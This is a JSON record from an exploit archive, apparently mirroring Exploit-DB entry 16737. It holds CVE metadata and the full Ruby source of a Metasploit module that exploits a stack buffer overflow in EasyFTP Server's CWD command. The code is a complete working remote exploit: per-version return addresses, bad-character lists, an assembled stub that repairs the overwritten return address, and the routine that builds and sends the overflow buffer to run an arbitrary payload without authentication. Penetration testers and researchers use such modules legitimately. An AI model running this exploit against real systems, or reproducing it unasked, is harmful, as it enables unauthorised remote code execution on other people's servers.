{"exploit":{"id":"EDB-16737","name":"EasyFTP Server 1.7.0.11 - 'CWD' Stack Buffer Overflow (Metasploit)","description":"EasyFTP Server 1.7.0.11 - 'CWD' Stack Buffer Overflow (Metasploit)","cves":["CVE-2010-20121"],"author":"Metasploit","published":"2010-04-30","platform":"windows","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/16737","path":"exploits/windows/remote/16737.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-16737.rb","vulnerabilities":[{"id":"CVE-2010-20121","state":"PUBLISHED","title":"EasyFTP Server <= 1.7.0.11 CWD Command Stack Buffer Overflow","titleSource":"CVE Program","description":"EasyFTP Server versions up to 1.7.0.11 contain a stack-based buffer overflow vulnerability in the FTP command parser. When processing the CWD (Change Working Directory) command, the server fails to properly validate the length of the input string, allowing attackers to overwrite memory on the stack. This flaw enables remote code execution without authentication, as EasyFTP allows anonymous access by default. The vulnerability was resolved in version 1.7.0.12, after which the product was renamed “UplusFtp.”","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2010-20121","cvss":{"version":"4.0","baseScore":9.3,"severity":"critical","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2010-20121"},"updatedAt":"2026-05-15T11:13:36.577Z","retrievedAt":"2026-11-27T17:12:23.896Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-16737.png?v=2","url":"https://exploitbin.com/exploits/EDB-16737","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-16737/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-16737/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# $Id: easyftp_cwd_fixret.rb 9179 2010-04-30 08:40:19Z jduck $\n##\n\n##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n# http://metasploit.com/framework/\n##\n\nrequire 'msf/core'\n\nclass Metasploit3 < Msf::Exploit::Remote\n\tRank = GreatRanking\n\n\tinclude Msf::Exploit::Remote::Ftp\n\n\tdef initialize(info = {})\n\t\tsuper(update_info(info,\n\t\t\t'Name'           => 'EasyFTP Server <= 1.7.0.11 CWD Command Stack Buffer Overflow',\n\t\t\t'Description'    => %q{\n\t\t\t\t\tThis module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11\n\t\t\t\tand earlier. EasyFTP fails to check input size when parsing 'CWD' commands, which\n\t\t\t\tleads to a stack based buffer overflow.  EasyFTP allows anonymous access by\n\t\t\t\tdefault; valid credentials are typically unnecessary to exploit this vulnerability.\n\n\t\t\t\tAfter version 1.7.0.12, this package was renamed \"UplusFtp\".\n\n\t\t\t\tThis exploit utilizes a small piece of code that I\\'ve referred to as 'fixRet'.\n\t\t\t\tThis code allows us to inject of payload of ~500 bytes into a 264 byte buffer by\n\t\t\t\t'fixing' the return address post-exploitation.  See references for more information.\n\t\t\t},\n\t\t\t'Author'         =>\n\t\t\t\t[\n\t\t\t\t\t'Paul Makowski <my.hndl [at] gmail.com>', # original version\n\t\t\t\t\t'jduck' # various fixes, remove most hardcoded addresses\n\t\t\t\t],\n\t\t\t'License'        => MSF_LICENSE,\n\t\t\t'Version'        => '$Revision: 9179 $',\n\t\t\t'References'     =>\n\t\t\t\t[\n\t\t\t\t\t[ 'OSVDB', '62134' ],\n\t\t\t\t\t[ 'URL', 'http://paulmakowski.wordpress.com/2010/02/28/increasing-payload-size-w-return-address-overwrite/' ],\n\t\t\t\t\t[ 'URL', 'http://paulmakowski.wordpress.com/2010/04/19/metasploit-plugin-for-easyftp-server-exploit' ],\n\t\t\t\t\t[ 'URL', 'http://seclists.org/bugtraq/2010/Feb/202' ],\n\t\t\t\t\t[ 'URL', 'http://code.google.com/p/easyftpsvr/'],\n\t\t\t\t\t[ 'URL', 'https://tegosecurity.com/etc/return_overwrite/RCE_easy_ftp_server_1.7.0.2.zip' ],\n\t\t\t\t\t[ 'URL', 'https://www.securityfocus.com/bid/38262/exploit']\n\t\t\t\t],\n\t\t\t'Privileged'     => false,\n\t\t\t'Payload'        =>\n\t\t\t\t{\n\t\t\t\t\t# Total bytes able to write without crashing program (505) - length of fixRet (25) - slack space (30) = 450\n\t\t\t\t\t'Space'    => 505 - 30 - 25,\n\t\t\t\t\t'BadChars' => \"\\x00\\x0a\\x2f\\x5c\", # from: http://downloads.securityfocus.com/vulnerabilities/exploits/38262-1.py\n\t\t\t\t\t'DisableNops' => true\n\t\t\t\t},\n\t\t\t'Platform'\t => 'win',\n\t\t\t'Targets'        =>\n\t\t\t\t[\n\t\t\t\t\t[ 'Windows Universal - v1.7.0.2',   { 'Ret' => 0x00404121 } ], # call edi - from ftpbasicsvr.exe\n\t\t\t\t\t[ 'Windows Universal - v1.7.0.3',   { 'Ret' => 0x00404121 } ], # call edi - from ftpbasicsvr.exe\n\t\t\t\t\t[ 'Windows Universal - v1.7.0.4',   { 'Ret' => 0x00404111 } ], # call edi - from ftpbasicsvr.exe\n\t\t\t\t\t[ 'Windows Universal - v1.7.0.5',   { 'Ret' => 0x004040ea } ], # call edi - from ftpbasicsvr.exe\n\t\t\t\t\t[ 'Windows Universal - v1.7.0.6',   { 'Ret' => 0x004040ea } ], # call edi - from ftpbasicsvr.exe\n\t\t\t\t\t[ 'Windows Universal - v1.7.0.7',   { 'Ret' => 0x004040ea } ], # call edi - from ftpbasicsvr.exe\n\t\t\t\t\t[ 'Windows Universal - v1.7.0.8',   { 'Ret' => 0x004043ca } ], # call edi - from ftpbasicsvr.exe\n\t\t\t\t\t[ 'Windows Universal - v1.7.0.9',   { 'Ret' => 0x0040438a } ], # call edi - from ftpbasicsvr.exe\n\t\t\t\t\t[ 'Windows Universal - v1.7.0.10',  { 'Ret' => 0x0040435a } ], # call edi - from ftpbasicsvr.exe\n\t\t\t\t\t[ 'Windows Universal - v1.7.0.11',  { 'Ret' => 0x0040435a } ], # call edi - from ftpbasicsvr.exe\n\t\t\t\t],\n\t\t\t'DisclosureDate' => 'Feb 16 2010',\n\t\t\t'DefaultTarget' => 0))\n\tend\n\n\tdef check\n\t\tconnect\n\t\tdisconnect\n\n\t\tif (banner =~ /BigFoolCat/) # EasyFTP Server has undergone several name changes\n\t\t\treturn Exploit::CheckCode::Vulnerable\n\t\tend\n\t\t\treturn Exploit::CheckCode::Safe\n\tend\n\n\tdef exploit\n\t\tconnect_login\n\n\t\t# If the payload's length is larger than 233 bytes then the payload must be bisected with the return address and later patched.\n\t\t# Explanation of technique: http://paulmakowski.wordpress.com/2010/02/28/increasing-payload-size-w-return-address-overwrite/\n\n\t\t# NOTE:\n\t\t# This exploit jumps to edi, which happens to point at a partial version of\n\t\t# the 'buf' string in memory. The fixRet below fixes up the code stored on the\n\t\t# stack and then jumps there to execute the payload. The value in esp is used\n\t\t# with an offset for the fixup.\n\t\tfixRet_asm = %q{\n\t\t\tmov ecx, 0xdeadbeef\n\t\t\tmov edi, esp\n\t\t\tsub edi, 0xfffffe14\n\t\t\tmov [edi], ecx\n\t\t\tadd edi, 0xffffff14\n\t\t\tjmp edi\n\t\t}\n\t\tfixRet = Metasm::Shellcode.assemble(Metasm::Ia32.new, fixRet_asm).encode_string\n\n\t\tbuf = ''\n\n\t\tprint_status(\"Prepending fixRet...\")\n\t\tbuf << fixRet\n\t\tbuf << make_nops(0x20 - buf.length)\n\t\t#buf << \"C\" * (0x20 - buf.length)\n\n\t\tprint_status(\"Adding the payload...\")\n\t\tbuf << payload.encoded\n\n\t\t# Backup the original return address bytes\n\t\tbuf[1,4] = buf[268,4]\n\n\t\tprint_status(\"Overwriting part of the payload with target address...\")\n\t\tbuf[268,4] = [target.ret].pack('V') # put return address @ 268 bytes\n\n\t\t# NOTE: SEH head at offset 256 also gets smashed. That is, it becomes what is at fs:[0] ..\n\n\t\tprint_status(\"Sending exploit buffer...\")\n\t\tsend_cmd( ['CWD', buf] , false) # this will automatically put a space between 'CWD' and our attack string\n\n\t\thandler\n\t\tdisconnect\n\tend\n\nend","sha256":"2878554847c72be52b44dab3c3055381cad401e327361e8e9d6fc73f5345a22f","bytes":5297,"fetchedAt":"2026-11-27T17:12:23.780Z","encoding":"utf-8 (display only; download retains original bytes)"}